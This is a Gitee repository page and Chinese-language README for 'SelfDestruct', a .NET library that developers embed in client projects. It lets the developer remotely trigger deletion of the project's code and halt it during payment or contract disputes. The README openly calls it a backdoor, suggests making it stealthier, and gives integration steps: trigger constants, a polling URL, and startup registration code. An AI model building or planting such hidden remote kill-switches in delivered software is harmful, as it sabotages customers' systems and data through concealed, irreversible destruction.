# SelfDestruct **Repository Path**: XiaoShiYi-1011/self-destruct ## Basic Information - **Project Name**: SelfDestruct - **Description**: 一个用于自毁项目的net 6类库,仅在与客户谈崩时使用(如:拒绝支付尾款、无故拒绝履行合同等)自毁操作不可逆!!! - **Primary Language**: C# - **License**: MIT - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 1 - **Created**: 2024-06-26 - **Last Updated**: 2025-01-10 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README
YuanCodeStudio.SelfDestruct

自毁机制

专门为项目自毁设计,仅在与客户谈崩时使用(如:拒付尾款、无故拒绝履行合同等)——一旦触发会删除项目自身代码并停止运行,自毁操作不可逆!慎用!😎

### ✨如果您觉得有帮助,请点右上角 "Star" 支持一下谢谢 ## 🎇项目介绍 该项目实现自毁有两种方案:1.使用 WebSocket 协议,远程发送指令,进行自毁操作;2.使用定时轮询指定服务器 Api 接口,通过 Api 接口返回的数据,判断是否进行自毁操作。 两种方案各有各自的优缺点: ​ 1.WebSocket 协议:如果客户项目部署在 Nginx,则 Nginx 需要开启 ws 协议 ​ 2.定时轮询方案:需要你自己有台服务器,并且轮询周期不建议设置过短 如果你觉得这两种方案还不够隐蔽,可以自己加上你的方案,目前只开发了 Net 版本,Java 版本将在未来开发。 这个自毁机制相当于后门程序,与客户合作没什么问题应当立即停止使用该程序或删除该程序 ## 👨‍🏫使用教程 1. 打开`Net/YuanCodeStudio/YuanCodeStudio/Const/`路径下的StaticConst.cs文件,修改常量值。例如 ```c# namespace YuanCodeStudio.Const { public class StaticConst { public const string SELF_DESTRUCT_KEY = "SelfDestructKey"; // 自毁验证Key public const string INSTRUCT = "delete_self"; // 自毁指令 public const string MAPHUB_PATTERN = "/Hub/Delete"; // 连接地址 public const string CHECK_URL = "https://www.test.com/api/deleteSelf"; // 远程请求地址 public const int EXECUTE_CYCLE = 60; // 远程请求执行周期(分钟) } } ``` 2. 在项目上点击右键进行发布,发布到本地文件夹,注意发布参数 3. 在你选择的发布路径下找到你发布的dll文件,把这个文件复制到你自己的项目中,然后引用该dll,在Setup.cs或者Program.cs中编写启动代码 ```c# public class Startup { public void ConfigureServices(IServiceCollection services) { // 注册其他服务 services.AddYuanCodeStudioSetup(); } public void Configure(IApplicationBuilder app, IWebHostEnvironment env) { // 其他中间件 app.UseYuanCodeStudioSetup(); app.UseEndpoints(endpoints => { endpoints.MapControllerRoute( name: "default", pattern: "{controller=Home}/{action=Index}/{id?}"); }); } } ``` 4. 通过前端代码触发自毁操作 ```html ``` 5. 通过服务器Api响应内容触发自毁操作 ```json { "statusCode": 0, "data": "string", // 如果响应内容为你定义的自毁指令,则触发自毁操作 "succeeded": true, "errors": "string", "extras": "string", "timestamp": 0 } ``` ## 🤝商业合作 1. 我们团队(元代码科技工作室)专业从事软件开发、网站开发等多个领域。如果您有以下需求,欢迎与我们联系: - 移动端应用 / 电脑桌面应用 / 网站开发 / 鸿蒙应用 / 微信、支付宝、字节等第三方小程序或网站开发 - 定制解决方案 - ... 2. 我们团队(元代码科技工作室)的主要技术栈:.Net 、Vue、Java、鸿蒙等 - 包括:移动端应用/ 电脑桌面应用 / 网站开发 / 鸿蒙应用 / 微信、支付宝、字节等第三方小程序或网站开发 3. 我们提供高质量的开发服务,所有项目单子,均为源码交付。大金额单子需要签订合同 4. 联系方式:[xiaoshiyi1011@163.com](mailto:xiaoshiyi1011@163.com) ## 🔐版权声明 - 该项目签署了MIT授权许可,详情请参阅 [LICENSE](https://gitee.com/XiaoShiYi-1011/yuan-rate-limiter/raw/master/LICENSE),源码完全免费开源商用。 - 不能以任何形式将该项目用于非法为目的的行为。 - 任何基于本软件而产生的一切法律纠纷和责任,均于作者无关。